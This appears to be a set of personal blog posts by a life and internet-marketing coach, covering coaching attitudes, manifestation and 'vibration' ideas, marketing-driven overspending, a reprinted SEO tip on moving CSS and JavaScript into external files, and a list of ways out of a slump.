Robert Plank’s audio player plugin, just like his camtasia video plugin is built to use files on the same domain in a set folder, but I bet the plugins can be tweaked, easily, to use the whole url of the audio as the source.

In my research I found one paid and one not paid resource. The paid is Mike Stewart’s software, S3 media player, you must become a member of his paid site… or a plugin called micro audio for wordpress… I like the last one, very small footprint, very flexible.

I wonder what Robert will say about that… it could be an opening for him, maybe, for another great plugin. Robert?

I am going to test Jim Edwards audio presentation wizard, and report back to you as well. OK?

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There are many schools of thought. I am most attracted to the paradigm of the holographic universe AND the very compatible older one: the kabbalistic world view.

Either there is a shift in consciousness all over, or I live in a bubble of such shift... because my students, my friends are all shifting... dramatically.

One friend/client/mastermind partner, we have been speaking at least once a week for over 15 years...  I have been sharing with him a lot as my world is shifting from atheism to the holographic universe, where there is intelligence, where things are not random and capricious... and until this past Sunday he listened curiously, but never from the inside... you know what I mean, like you look into a dungeon... but have no desire to enter it, neither as the person who gives, nor the one who gets the punishment... lol.

I call that mildly interested. The classic involvement of the hen in the making of a ham and eggs... I have always taken the pig's side... involved... invested, committed... completely.

This past Sunday he shared with me that someone had offered him to send over three angels who are traveling all over and need a new home to rest for three days. In return for the favor he can get three of his wished answered.

That immediately brought back the memory of this past Rosh Hashanah, with its choices of three wishes, sustenance, health, or the holy spirit...

He hungrily jumped on the opportunity to trade three days of his life for eternal bliss, or at least for a little courage.

I started writing this article three months ago, and now I am looking back at this, in amazement.

Since September, he has retired from his government job. He has taken control of a property he already owned, but didn't take responsibility for his ownership: and he is building a name for himself as the best landlord this side of the Mississipi.

Our conversations turned into search parties into his talents, and it is a ton of fun.

He may be able to accomplish his lifelong dream, becoming a millionaire in assets. Because, he sounds to me as if he had turned from sheepish to courageous: in just a few short months.

Now, figure that.

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As a coach, I often experience people taking my remarks as criticism, and are compelled to protect or defend themselves. I normally "fire them" as clients. Why? Because they are missing the point. And I am not about wasting my "Light" on black holes...

You hire a coach to point out what they can see from their point of view.

What is their point of view?

That is immaterial. The only thing that matters is that their point of view is not the same as yours, because their eyes (view... get it?) is not behind YOUR eyeballs.

When you are defending what you are doing, you are arguing for staying the same with the exact same results you have gotten thus far.

When you are willing, for a moment, to look and see what the other person is seeing, you are creating the possibility of a future, discontinuous from where your future has headed before this moment.

If my takeaway from this whole 8-week program that cost $1000 were ONLY that I should ask myself a question every time I set up an item on my todo list: "How is this going to make me money?" I would have gotten my money's worth. And more.

Often just asking this question will lead to multiples of that thousand bucks, and I have the opportunity to ask that question 4 times a day!

This is where millionaires are made, in these questions, and in the moments when a coach interferes with your "already always" way of looking at life and doing things.

Your job is to listen and look. And if you are a hotheaded Hungarian/Israeli/New Yorker, like me, you can curse under your breath, but look, nevertheless, and NEVER argue with a coach. It doesn't hurt them, it hurts YOU.

Merry Christmas.
Sophie

What I don't love is getting all the people that end up with me that got their start with other coaches... coaches that lack the most fundamental elements of teaching, attitudes , thinking, foundation, and actions steps.

I mean... after all they call it internet BUSINESS... so one could expect that some business know-how rubs off on these coaches... but it doesn't seem that way to me. At least when I look at their results: clueless students.

The latest evidence for the current marketing training culture I had last night when one of my students kept on griping why I would not coddle and nurture his inane, stupid, clumsy, poorly thought out, unproven attempts at product creation. Why I don't tell him "this is good and you could change this, or you could change that..." type of politically correct but mistaken and damaging way of teaching and leading someone to success.

When I learned (and later taught) architecture, the typical scenario was:

1. you had an idea. you put it on paper and you brought it in for your twice a week consultation.
2. the teacher looked at it, placed a semi-transparent sketching paper on top of it, and drew his "response" to your idea. Most of the time there seemed to be no connection: just that HIS idea was triggered by your idea.
3. you went home, you draw the idea, to scale, on paper an brought it back to your next consultation.
4. the teacher looked at it, placed a semi-transparent sketching paper on top of it, and drew his "response" to your idea. Most of the time there seemed to be no connection: just that HIS idea was triggered by your idea.
5. you went home, you draw the idea, to scale, on paper an brought it back to your next consultation.

You did this for the next 20-25 times. Then it was time to finalize the plan, so he stopped getting triggered.

You got a grade. You went through this process about 10 times during your 5-year training. On the other end you came out as an architect. You wondered if you were talented or you had good teachers. But you found out soon enough. Your grades reflected your talent and your willingness to take correction very accurately.

I had an A- from all my design subjects. I became an award winning architect. Some of my friends had B's or even C's and their later achievements showed a consistent level... go figure.

Had the teacher told me: this is really good, just try to change this or that, I would have stayed in my own little world of puny. Never would have gone the 20+ incarnation of the same project, 200-300 during my studies. I would have become an "I can design one type of building, if you want that, come along." type of architect. Boring, and not very satisfying, not very profitable.

The architecture school I was studying at and later taught at had a success rate of 90 percent. Internet marketing programs, coaching programs, apprentice programs, etc. have a less than 5% success rate.

Do you think the teaching methodology has something to do with it? ... and the fact that ALL teachers at architecture school had to be successful working architects or they would lose their job?

Do you thing the selection process has something to do with it? To get into architecture school you needed to be better than 95% of the applicants: there were 20 people vying for every spot. My best friend got in only the second time around. She is a good architect, still working. Not great, but good.

Today I teach internet marketing the same way. the student has the idea, works it up, maybe records it, writes it, slides, mindmap, the whole nine yard. Then we meet on the internet and I do the equivalent of the sketch paper: I suggest a new way of doing the whole project. He goes home and does the whole thing again. Some whine that I didn't coddle them. Some get discouraged. But all learn. All... unless they don't have the mental toughness to stick it out.

A man was walking by. He took a few coins from his pocket and dropped
them into the hat. He then took the sign, turned it around, and wrote
some words. He put the sign back so that everyone who walked by would
see the new words.

Soon the hat began to fill up. A lot more people were giving money to
the blind boy. That afternoon the man who had changed the sign came to
see how things were. The boy recognized his footsteps and asked, "Were
you the one who changed my sign this morning? What did you write?"

The man said, "I only wrote the truth. I said what you said but in a
different way." I wrote: "Today is a beautiful day but I cannot see it."

Both signs told people that the boy was blind. But the first sign simply
said the boy was blind. The second sign told people that they were so
lucky that they were not blind. Should we be surprised that the second
sign was more effective?

Moral of the Story: Be thankful for what you have. Be creative. Be
innovative. Think differently and positively.

When life gives you a 100 reasons to cry, show life that you have 1000
reasons to smile. Face your past without regret. Handle your present
with confidence. Prepare for the future without fear. Keep the faith
and drop the fear.

The most beautiful thing is to see a person smiling|
And even more beautiful is, knowing that you are the reason behind it!

Although the though underlying this book is quite simple, if you look with knowing eyes, if your eyes are not the "knowing" types, it is going to be quite a challenge to follow the thought process that changes you from a wannabe to an owner and a doer of your desires.

What? My thoughts are positive... you say, and you prove it to me by saying: I am happy, I am great... but yet, your life proves just the opposite.

Your life is a mirror of your dominant thoughts and beliefs... and that is that. You don't have to look what your thoughts and beliefs are in your head, you can just look outside.

Now, how come that even people who know this haven't been able to move from misery to bliss?

There is a little hidden truth that is not as known as it could be, because our MacDonalds way of thinking drowns it out.

Truth #1: You can get from where you are to where you want to be, even if it is three thousand miles from you.

Truth #2: You can't get there in one jump, or even in two.

Truth #3: You can get from point A to point B to point C easily... but you can't get from A to Z in one jump.

So what are you saying, Sophie, you are confusing me...

Am I? If you are 80K in depth, it won't disappear at once. If you are 800K in depth... that won't disappear at once.

Both are your point A, and your job is to get to point B first.

But I don't mean start paying off your lowest debt first... though it is not a bad idea. I mean first take yourself from a vibrational state where you will continue repel money coming to you and debt rushing to you to a vibrational/emotional state where the mood and feeling of your emotion is slightly gentler and higher than it is now.

Imagine yourself 800K in debt. Can you? For me it is easier to imagine being in debt 10K... but that's me: I have no debt. So 10K would mean for me: deep in debt.

Now look at your thoughts: will you find that there is a great despair and hopelessness under all your hopeful and cheerful words of pretense optimism?

So what would be point B of a situation like that?

I have one that I can think of: 800K is like 10K... once the ice cap starts to melt the whole iceberg is ready to go, unless I start adding to it...

Now, that is not such a bad thought, is it? It talks about something that gives you a glimmer of hope that can't be denied. but, you say, I will probably first need to add to that mountain before I can melt it...

Well, how about (and this will be point C! Pay attention!) if I start building a big fire and to build it and I still add to the iceberg temporarily, it still is the beginning of the end of the iceberg: because a big fire can melt any size of iceberg... so I am home free, right?

Do you see that I am starting to take responsibility for the solution instead of watching that mountain grow and feel incapacitated and incapable to make a dent in it?

Well, this is the Deliberate Creation of Abraham/Hicks, and it is wonderful, and it is gentle, and it works.

Here is an article I found: it is good, and it looks yet another way to increase your vibration to match what you want just a little better.

Think Like An Optimist

Many experts will tell you that when you change the way you look at things, you will change your life – and it’s true. If you’re sitting around expecting the worst of things, you’ll be certain to find the worst of things. You’ll find all of your mistakes along the way to your goals. You’ll notice all of the problems with your plan. And then you’ll stop trying because you’ve noticed that everything is going wrong.

This is where a lot of people fumble on the way to their happiness and the changes that they want to make. By trying so hard to recognize the bad things in their life, they forget about those things that are working well.

For just one day, try to see your life through the eyes of an optimist – a complete optimist. This might seem silly at first, but what you’re doing is bringing another perspective, an objective perspective into your view of the world.

Optimists look at the world as though it only has good things to offer and in that thinking, they see the opportunities for learning and growth, rather than the obstacles in their way. Instead of getting upset about the car that cut them off in traffic, they hope that there wasn’t an emergency that caused the driver to need to go so fast.

Optimism takes practice. What you might want to do is start thinking about your life as though it were the life of a good friend that you have. When you sense that something is wrong in your day, try to change your thinking to being more positive. For example, when your friend loses his or her job, you don’t tell her that it was because they were the worst employee (though you might tell yourself this), you tell them that it wasn’t their fault and that there must have been another reason.

When you start treating yourself and your life the way that you would treat a good friend, you start to see possibility in life, rather than problems.

An optimist is simply someone that strives to look for the good in everything. Just for today, you can try to do the same. Is it a realistic way to be every day? Who knows? But what you are doing is allowing your life to be as wonderful as you want it to be, and maybe as wonderful as it already is. You just weren’t looking for it.

Of course, life doesn't seem to prove it.

As a coach I may be able to change someone's behavior, maybe even contribute to them being high-minded, but all in all, my life, from the point of view of making a difference, has been a failure.

I am reaching for the starts, and I am coming up with a fistful of dirt... time and time again.

Is it because I am a bad coach? We could consider that. Or we could consider that I am a David fighting not one but a billion Goliaths in the form of media: newspapers, television, and other brainwashing devices.

I don't participate in the brainwashing much, only through clients sharing some of the input they have gotten, that penetrated their conscious, though the delivery method of these devices is hypnotic... The stuff they share has provided an insight of how come I have been an ineffective person in accomplishing my life's purpose, causing massive transformation on the planet.

I found today this amazing 5-minute video on Dr. Mercola's site. Now, Dr. Mercola is not my favorite person, but he has impeccable taste and judgment on videos, and this one is no exception.

In this movie the two parts that interplay are the turning of the hypnotic devices and adapting the new belief that you and a bunch of you can make a difference.

Pay special attention to the unexpected behavior of the buffalo, or whatever that dark-skinned animal is in the movie... I gasped. I thought: animation... but what if this is real. What if we are supposed to turn against our oppressors, and protect our own, show our strength, and take our planet back?

Watch it. It is very thought provoking and mobilizing: I can feel some power welling up in me... imagine that!

Just an interesting aside... after writing the whole post, at this point my wordpress crashed and I lost everything I wrote. I have autosave off... silly me. So what does a winner do? I don't know for sure, I tell you what I did: I'll write the whole thing again, not from memory, but like I have never done it before. Why? Because when I started this post, I committed to sharing the insight I got, so you too can become a winner. Yaaay!

Anyway... I left off where I am sharing, that today, specifically this morning, even more specifically about 30 minutes ago, I had a distinct giddy feeling that I am being a winner. And then the thought came: it seems that winner as a feeling comes coupled with winner as an activity... not as an actuality, mind you, you may not win the game but because you have been competing, you have been winning, against the tiredness, the obstacles, the common attitude of "why bother".

This is how it all started: A few months ago, in Robert Plank's class, I saw that with just a little effort and speed, one can become a winner. If you just posted your intention first, it didn't matter when you completed that task, you automatically became the winner.

So I watched the webinars, had a text doc ready with the word: challenge on top, and waited for the challenge to be spelled out. I typed as Robert typed, and in another browser window I was ready to post my challenge. It took 3-4 weeks before Jeanette Cates caught up to me, then Helen Raptoplous... but I got the bug. The bug of ambition, competitiveness, the desire to win. Then I heard someone say "entrepreneurs must be competitive" and suddenly it made sense.

You see, I grew up in a Holocaust survivor family in Hungary, and my parents, especially my mother, were against standing out, against being visible, against any competition. Maybe that's why when I won math competitions she didn't bother to congratulate me. Or singing competitions. Or physics competitions. Or being admitted to architecture school with the highest score... or becoming the third woman ever to become a master bricklayer, so that I can build houses not just design them, and the list goes on.

It seemed that no amount of winning will make my mother love me, so somehow, somewhere, I gave up. I settled for a life of quiet desperation, dreaming of winning but never actually putting myself in the position to win.

I didn't realize that you need a challenge to win... no challenge, no winning, no winner, no energy, no nothing.

OK. What happens when you give yourself over to a challenge? Because it is clear that your usual slow as molasses attitude will not win you any prizes... challenge or no challenge.

hm, I must be up against some strong force, the blog crashed for the third time this morning... write, lose it, write lose it, oh well... I am not giving up

What seems to be happening is quite miraculous.

All your cells, all your brain waves, all your focus start to play the same "tune", which is just another way of saying that there seems to be a sudden and unusual coherence, where the sum of the parts does not even begin to express the whole.

You are smarter. You are meticulous. You are calm. You are, like a precision well oiled machine is able to reach the moon.

This phenomenon is rare, but it is real. Like the mother who lifts a car that pinned her son. She is 120 lbs and the car is 600. Her whole self organizes itself, in that moment, to accomplish that one task:lifting the car.

I am familiar with it in the day before my leaving for a trip. I create and accomplish tasks that come from a sudden creativity I would be silly to ignore. I manage to communicate, back-up my files, prep my laptop, check all details, pack, feed my cats, do the laundry, do the dishes, lower the thermostat... a thousand details, all done, never missing anything. I don't like traveling but love the day or two before.

I love being in this hightened state. But until now, I didn't know how to cause it at will.

But now, thanks to Robert Plank and his challenging me, I have learned it and there is no way back!

These have been the phases of my learning:

1. I attempted to be the first to post my challenge in webinars
2. I worked furiously to accomplish the tasks in the challenges... lots of mess, including my famous or infamous kunaki video
3. I signed up to am2 gold and had to listen to Robert challenging me to complete the 100 point challenge to get into Platinum. Little does he know that the fee for platinum is way higher than what I can wing right now, but who knows, maybe with all this challenge stuff I'll make some money in the end? lol
4. I managed to get 11 points approved. it took me two weeks.
5. I heard that you can win five big ones if you have 65 points approved by Armand Morin Live. I am going for it.
6. I work days, I work nights, I work holidays, it's hopeless, but I am not giving up.
7. I apply to the "better your best" contest, due by October of 2010. I am at about 800 dollars a month now. I apply in the category of increasing revenue and bottom line. I see myself a 100K earner by the deadline. That should do it, going from almost beginner to almost top 2-3 percent... let's do it.
8. I don't know if it is points of percentages, so at the submission deadline I submit 67%. 54 gets approved. the rest declined. Quick decision time: is it an oh-well, or is it a hell-no? I choose hell-no, and keep on working. I resubmit most of those, all that I have the means to correct now.

This was the exact point where I had the insight. You see, being a winner sounds like a pure state of mind. But if you look behind the curtain, there is a lot going on that must be there for this delicious sense to be there: ambition, risk-taking, commitment, dedication, but most importantly putting yourself in the position of winning and in the position of not winning, i.e. losing, failing, visibly, to all to know that I am not perfect.

As if they didn't already know. lol

It's Black Friday. Now, don't ask me to tell you why it is called Black Friday: I don't know and I don't want to know.

What I do know is that today I experienced something that you want to hear, you want to learn from, today, and the rest of the year, black, pink red, blue days... any day.

Ok, a little background information: I normally don't read my emails. I normally keep myself walled away in blissful ignorance of what's hot, what I should buy, launches and the like. Not today.

For some reason, maybe because I decided to stay at home, alone, for Thanksgiving, I left myself wide open to the onslaught of marketing messages you probably get every day, including this very day.

I have chosen only two messages to read and follow up, which is not what most people do, and those two messages pushed me into a state that made me intensely curious and made me want to write this blogpost.

I have fallen a "I will never amount to anything" mood. I have fallen into a place, where those marketers have it, and I have nothing. Where all the answers to my problems are out there, with those marketers, and if I don't get it, or even if I do, I am doomed.

Not a pretty picture, is it? Now, if this had happened a year ago, I would have thought that it is personal. Because a year ago I was coaching a few people, but I wasn't in the position to see people, over time, 3-4 times a week, with their moods, with their ambitions and trials and tribulations. Now, I am.

And what I am seeing is that this is normal.

The marketing messages are designed this way. The marketing messages want you to think that "they" have the solution that you need, and that without them you are nothing, a hopeless wannabe, better off burying yourself off into some sandy dune...

Is this new? Probably not entirely new. Probably many of my past purchases have come from this same place: I remember when I spent my rent money on Frank Kern's Mind Control. Or The apprentice program. Or Smarts...

All of them proved to be not so inevitable to my success, in fact they did nothing for me. NOT A THING!

But, of course, this is a lot like gambling: hope is eternal, and you are hoping that this time it will be true, this time it will solve all my problems I didn't know I had.

And that last sentence is really key: skillful copy writing, skillful mind control, will create problems that you didn't know you had so that you can buy the exact solution to that problem that doesn't exist other than in your mind, now that you were told that you have that problem.

Like the "it" factor by Jason Moffat. Like the miracle supplement by Mark Joyner. (These were the two emails I read, uncharacteristically) today.

And, if you buy the solutions (that you won't have time to digest given that you already have 47 solutions that you don't have time to read, watch, listen to, implement) you are out of money, and go deeper into the hole and into hopelessness.

If you don't buy the solution, it gnaws at you until you buy it, or do something to get rid of the "parasite" that attached itself to your gut.

It is not an accident that I am using this parasite analogy: I have two cats that occasionally get a parasite until I rid them off it.

Their behavior is very similar to the behavior these sales practices create in you: craving. Craving something you don't need, only the parasite needs.

When my cats have the parasites, they eat like machines, they yowl all day for more food... food they don't need. Only the paraside nudges them to get more food so the parasite can get bigger, fatter, multipy, and eventually destroy its host.

After I spent my rent money repeatedly, I was out of the game for almost two years... had not money, wasn't in the market to buy every shiny object.

It didn't quite kill me, but almost. I watched the parasite "almost" entering my system today... I caught it, in just a nick of time.

But the real cost is: seeing the solution outside of myself, I stop generating my own actions, and look for the power outside of myself.

When I look at periods in my life when I was successful, I always generated the solutions from within, instead of wasting time researching, learning, etc.

When I was an architect, I looked at the terrain, I looked at the specs, and designed a winning building.

When I was a magazine publisher, I wrote an article from what I knew, designed an ad for an advertiser from what I knew... and life was working, money was coming in, no time was wasted.

When I was coaching someone, when I listened keenly, the solution was there, in the speaking of the client: I didn't have to waste time researching.

When I had money making projects in marketing, I just did it... and tweaked it from what was in front of me.

When I wanted to write an article, I wrote an article... no research, no looking for the power outside of myself.

But when I bought products, and courses, and software: I suddenly assigned magical powers to that piece of stuff and guess what I gave up at the same time? Looking for the power from within, that is the key to actual implementation.

Now, of course, it is important to learn. But the rule I learned along the way has been a winning one: you need a little bit of information, and a lot of implementing, if you want to be successful.

Most people reverse this, and never get out of the gate. And savvy operators, marketers, pry on you when you do that.

I got a taste of that today.

One could think that to enter the paradigm of success is enough, but my experience with myself and clients has shown that until you start practicing the actions that come from the world-view of the new paradigm, only your "head" will live in the new zone, your body and your circumstances will lag behind.

It's Monday morning, and I have been working on a project for about 3 weeks. A project like this takes 4-5 hours, so why has it been taking so long, for me.

I did a challenge for one of my classes last Tuesday. I started at 9:30 pm, finished and 10:15 pm. There are people in that class that are still working on the same challenge.

I personally and actively helped one of them. As we were on Teamviewer, a client support software, free to use, I had to deal with three things:

1. the job in front of me, the actual doing,
2. the job of commentary, so she can turn around and do it herself
3. the constant chatter of the other student.

I took many hours to complete the task successfully. What was the difference between the 45-minute and the many-hour examples? It was one little thing: when I was doing it for myself, with the intent to win, I kept saying in my head: "Don't think, just follow instructions." It was a yes to doing and no to thinking, wandering, following links, doing unrelated tasks.

When I was doing it for the other student, her constant pull to unrelated questions and activities made the task a marathon instead of a sprint, and I had to stay up till 2 am... which is way past my bedtime.

So, can you guess what I have been doing this 4-hour project I have been attempting (trying) to complete for 3 weeks now? You guessed right: I have been doing everything else remotely connected to this task: logo design, logo redesign, searching for examples, searching for more examples, creating variations, and on and on and on.

Now, why would I do that? That's a real question... I'll give you the answer if you comment on this post. Guess why I've taken three weeks to "almost" complete a 4-hour task? If you guess correctly, I'll give you access to my membership site, www.faststartsecrets.com/members for a whole month for just 1 cent... it's worth hundreds.

OK, go and comment below.

I am training people to become Internet Marketers, and in the process I am becoming one myself.

Teaching something that you haven't accomplished is quite an excellent process, if you can stay in the inquiry, instead of pretending that you have it together. The latter would lead to misinformation, lying, fraud, and the whole nine yards.

Telling the truth that you have some tools, you have a commitment, and you don't know your a-ss from your elbow, is a better way to play this "game." This is how I play, and it's been working out for all parties. It's not smooth, but then, no learning is smooth: any learning worth a dime includes breaking out of tiny boxes, breaking out of the prison of what you already know, painful, and not smooth at all.

I am going to share some of my recent insights in this article: something I haven't even formulated in my head, so pray that it comes out right, ok?

I did a course 22 years ago that I learned to add "thank you" to every check I write, whether it is my rent check, or a commission check... all the same. I have been doing it for ever, and it has managed to change my relationship to money: money is a communication device to say thank you. I am not kidding you, money is little thank you notes.

Whenever a commission notice hits my inbox, I say "thank you."

I have become a grateful person. I even whisper inside "I don't deserve it" to avoid the transaction part, the deal part, the "I gave this to you, and I earned that money" thought, that degrades all of life into the low vibration of commerce. Machiavelli, and the like.

In my 20 years in Landmark I was working diligently to live for some possibility that is waaay beyond me... and I got poorer and poorer in the process.

Something was missing. From Kabbalah I learned that it was desire, it was being able to harness the ego, to use its energy, for something that is worth being, doing and having. Result? Trying. And you know what trying is? A code word for nothing. Not doing. Not succeeding.

Backtrack to May of this year: I was asked to coach a group of people who signed up to a course I had done. To the best of my knowledge, that course never produced anyone who made a penny with their efforts as a result of participating.

I decided (ego) to create the first group that does... and that was the very first time in my life that I started to travel on the back of ego, get energy from ego, but yet, act in the interest of many, including mine.

To be armed with more knowledge... hey, I know what I know and what I don't! I enrolled in a webinar series called "Product University" with Robert Plank and Lance Tamashiro. I lucked out. Their course was something different, not your usual information delivery system, it was actually a course with course work, challenges, the chance to win or lose.

I was so impressed that I took, concurrently, another class with these two guys, "Webinar Crusher".

My desire to want to achieve something started to be awakened. In their next course, "Video Sales Letters 2.0" I found myself wanting to win challenges, wanting to be the first: competitiveness, one of the most important characteristics of an entrepreneur, surfaced. By now, in their "Membership Cube" I am fiercely competitive, passionately ambitious, asking for help, setting hard to accomplish goals... and in front of you is a newly born, healthy human being who shredded all the self sacrifice, all the "I don't matter", all the b.s. some religions and some self-help programs teach, to the detriment of the participants.

It takes energy to accomplish anything. It takes spiritual energy. When you suppress it or leak it (by being a rescuer or helper) you are not helping anyone. You are helping the Dark Side, the part of life that is not affirming to Life.

I always cringed from people who preach "Love" or "Luv", but it takes one to know one. I don't cringe any more, I have nothing in common with them.

I am now of the firm belief that I need to become big, give all I got, become the best and most I can become, that is the way I can help the most people.

And I now trust that the newfound ambition and competitiveness will help me through all the stopping points, all the sticking points, all the "walls" I have been stopped by: you need a lot of energy to accomplish anything meaningful.

Giving up being a helper/rescuer is giving me enough energy for that.

Our filter or translator between reality and our mind is words. What we can't put words around, we can't see.

The natives could not see the Santa Maria because they didn't have a word for sails, or big ship... they had word for ripple in the ocean, but it didn't translate to potential enemies landing and slaughtering them...

The original IQ test measured largely our capacity to mirror the world with words. Even the logical tests can only be done if and when someone has a concept of triangles, or sequential numbers... all words.

What happens when your vocabulary is tiny, and you use a word that you have but isn't the correct word to express what others see... you end up with a picture of reality that leaves you vulnerable, alone, isolated, and incapable of living in society.

Seriously abused children, when they grow up, become like this: always ready to be hurt. If, by the grace of God, they manage to re-learn reality by adding new words and connecting them to what they see differently, they can integrate into society and can be very successful and very useful for others.

Most people learn their language from healthy, well-adjusted people, and thus don't have to go through this upgrade, but many do.

If your history included being unloved, unwanted, you may have associated yourself with garbage... I myself called myself disposable, and throw-away, but luckily not garbage.

Healthy thinking includes: one man's garbage is another's treasure: and there you have it, you have options, even if you thought you are garbage: you can become another's treasure, so garbage is not a definitive term for useless, it is a relative term.

One of the most important things a person can do, is increase one's vocabulary by consciously reading. Not just the dialogue, especially not the dialogue, the thoughts, the descriptions, the associations.

The richer your vocabulary the easier you can unplug unhealthy and limited meanings, and can more successfully maneuver in the "real" world.

You'll notice that I give you a lot of writing assignments.

This is the reason.

Your vocabulary, your richness of expression limits who you can be. Limits who you can successfully influence. Limits your life.

Living in a foreign country with a native is not very helpful. Make sure you create your own microcosm by reading, reading, reading. Good literature. Good non-fiction. Read to create new pathways in your mind. Read to create a new future for yourself.

No matter who you are or how much you pay for web site advertising, free search engine traffic is probably responsible for a big part of your business. So why make your web site so hard for search engines to figure out?

Luckily, it seems like in the recent years people have paid attention to SEO, moved their sites over to CSS, abolished "table" and "font" HTML tags, started using the H1 tag around their titles... and in general, moved the main content of their site as close to the top of the HTML document as it can go.

"But Robert," you tell me, "I have a bunch of fancy JavaScript and CSS at the top of my site that I don't want to get rid of."

That's ok, you can keep it. Just stash it away in another file. By that I mean... if you were lazy and included your CSS right in the HTML document like this:

(style type="text/css")
(!--
CSS code in here
--)
(/style)

Copy all that text out and delete it from the HTML page.

Remove the "style" tags and the "(!--" and "--)" stuff. Open a new text file, paste the text from the clipboard in, save the file as "layout.css" then save and upload to your web server.

Now, back on your HTML page, place HTML code like this:

(link rel="stylesheet" href="http://www.example.com/layout.css")

When someone loads your page in a browser that tells them to look to the URL http://www.example.com/layout.css for the CSS info. But when the search engines crawl your site they will see a nice, clean, simple layout.

You can do the same thing with JavaScript. Say these are your "script" tags:

(script language="JavaScript" type="text/javascript")
(!--
JavaScript code in here
--)
(/script)

Do the same thing, copy the JavaScript code but NOT the "script" tags themselves or the "(!--" or "--)". Erase the original from the HTML page. Paste the stuff you copied into a new text file and call it something like: "functions.js"

Upload functions.js and in the spot you had your JavaScript code use this:

(script language="JavaScript" src="http://www.example.com/functions.js")(/script)

One important thing to remember is that NO JavaScript code can be placed between the "script" tags if you use the "src" parameter like that.

So remember: use H1 tags, use meta description tags, and use CSS, but make sure you include your JavaScript and CSS stylesheets in separate files otherwise there's no point.

Article by Robert Plank

http://www.AffiliateBattlePlan.com

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Slump: intr.v., slumped, slump·ing, slumps.

1. To fall or sink heavily; collapse: She slumped, exhausted, onto the sofa.
2. To droop, as in sitting or standing; slouch.
3. 1. To decline suddenly; fall off: Business slumped after the holidays.
   2. To perform poorly or inadequately: The team has been slumping for a month.
4. 1. To sink or settle, as into mud or slush.
   2. To slide down or spread out thickly, as mud or fresh concrete.

n.

1. The act or an instance of slumping.
2. A drooping or slouching posture: read defeat in the slump of his shoulders.
3. A sudden falling off or decline, as in activity, prices, or business: a stock market slump; a slump in farm prices.
4. An extended period of poor performance, especially in a sport or competitive activity: a slump in a batting average.
5. See grunt (sense ).

As you see, slumps are almost inevitable, we all go through them, they are the result of life's cyclical design. The question is: when they come, what are you going to do.

If you pay attention, most of life is about that question: when the sh-t hits the fan: what are YOU going to do?

Slumps are always devastating. They can take an otherwise productive, happy person and reduce him to a lethargic, depressed, indifferent clump... a minute ago he had goals and dreams that inspired him, motivated him, but now in the slump/funk these dreams and aspirations seem – unimportant, like a distant memory of something, not real, not interesting, not important.

Even when he thinks about those dreams, he is not sure why they were important in the first place, what he would do if they came to fruition... it is a so what... not very exciting, not very different... the "slump" colors everything dark, gray, muddy, tasteless and unappetizing.

You have been there... these slumps always come unexpectedly, out of the blue... and find you unprepared, right?

So what do you do? Most people give in to the slump, they take a break from it all, and spend some time feeling depressed and indifferent, uninterested in growing, moving forward, life.

Few weeks or months can pass, and your chemistry turns around naturally, you exit your slump. But you are very clear that your life has passed you by, the opportunities are gone, and you are starting from square one.

Although this is a possible way to deal with the inevitable slump, this is NOT the winner's way... I should know. I lived this yo-yo life for the first 40 or so years of my life... so did my mother, and many of my clients.

I’m going to give ;you clues how you to avoid this losing scenario. I am going to show you 21 ways you can employ to make the slump a blip in the road, where you can re-motivate yourself, return to your goals, be happy and productive.

Before I get to the 21 ways, let me look into the anatomy of this slump thing, what happens on the kabbalistic and ontological level (don't worry about those terms, they will be clear in a jiffy). One of the things that happen that your energy level leaked out and you are left with less energy. It takes energy to to pursue goals, to desire, to be happy. So one of the things we'll do is restore your energy. That is the kabbalistic side. And on the ontological side: we'll identify ourselves with an ideal we invented, instead of the suffering, disinterested, sleepy clump we are heading towards.

We are going to do a lot of pretending. Pretending to be clear, pretending to have a goal, pretending to being a winner, etc. Got it? Ready? Let's start.

Oh, one more thing: every action you'll take, every decision you make (just like when you are in a real swamp) will either take you deeper, or take you higher... so pay attention, and please know, that many of these actions work synergistically.

1. Take Action. Return to what you were doing before the "fall". Before you slid into this slump, you had goals, dreams, and lists of things you needed to do to accomplish them. At some point, you lost confidence in these ideas and stopped working on your projects and working towards your dreams.

You need to return to the activities, even if you can't see any sense, can't feel any inspiration. Fake it till you make it: you'll get into it again, and the inspiration and clarity of vision will come back. Key is: same action. Don't make haphazard actions, flailing, etc. Your clarity is not there, and your decisions will come from that unclarity: you will just dig yourself deeper into the hole if you are impulsive or hasty.

Ignore the pull to take a break, take naps, quit, etc. Focus on getting things done. Force yourself. Trust that you had a valid reason before the slump hit, the dream was real and doable, and if you just continue to take action, you will accomplish two things: come out of the slump, and get closer to your goal. Check things off on your “to do” list, you will see that with every checkmark your energy will grow.

2. Ramp Up Your Efforts. Instead of slowing down, speed up. Work faster, add intensity to your activities. Remember, your job is to increase your energy to a point where you can see where you are going, where you regain your capacity for desire... in the meantime, consider that you are on the right path (very important!) and going faster will energize you, even if it is painful. It will be painful. You are working both against gravity, and against the darkness and pull of the slump.

When you plan your day, and planning you must, plan more into your day than it seems doable, and then start, in earnest, accomplishing stuff. Drifting along, having time to waste plays to the "hand" of the slump, and will take you deeper. Take control, make plans, and accomplish a lot each day.

3. Misery loves company, and you'll notice that you'll hear the bad news, the complaints... they are more consistent with your current vibrations. Resist it. Force yourself to pay Attention to success and the activities of of successful people. Where you put your attention, it grows. The energy and vibration of success is what you need now to get out of the slump.

So, thank your mind for sharing its doubts, and start telling yourself that if they can do it, you can do it – take their examples as a source of inspiration and hope. Those two emotions will pull you out of your slump.

4. Learn by Doing. If you’re faced with a complicated decision with no clear answer, one of the best ways you can move forward is to simply do, rather than thinking. Doing gives you energy, even the wrong action, thinking strengthens your enemy, and sucks your energy.

Pick one of the possible actions in front of you; and start doing it in earnest...

If it was the wrong path, so what? you gained some energy (or at least didn't lose any) and next you can try an alternative method or path.

5. Avoid Over-thinking. Don't forget that thinking has two draw-backs in this state: they suck your energy, and because your clarity of vision is low, they will take you to wrong decisions anyway. Your best friend is action... try this path, try that path... just like you would do in a real swamp.

6. One great way to gain energy is to do menial tasks that bring a visible result. Cleaning your desk, if you are a woman, cleaning your purse, a drawer, anything, is very energizing. Accomplishment, any size, any kind, will give you much needed energy.

7. Throw a curve-ball into your daily routine. Take another route to work, sleep on the other side of the bed, or even turn around totally. Get up earlier, and go to bed later. Any small change is invigorating. You'll gain energy and a new view of life... or at least your home.

8. Promise yourself small rewards to get things done. Slumps are a result of you having worked hard, and worked on adrenaline. The slump is a chemical reaction to it, you know the serotonin/dopamine balance. Serotonin is the energizing chemical, dopamine is the pleasure chemical, the overexertion causes a high from which you need to come down... and the down is what is called the slump.

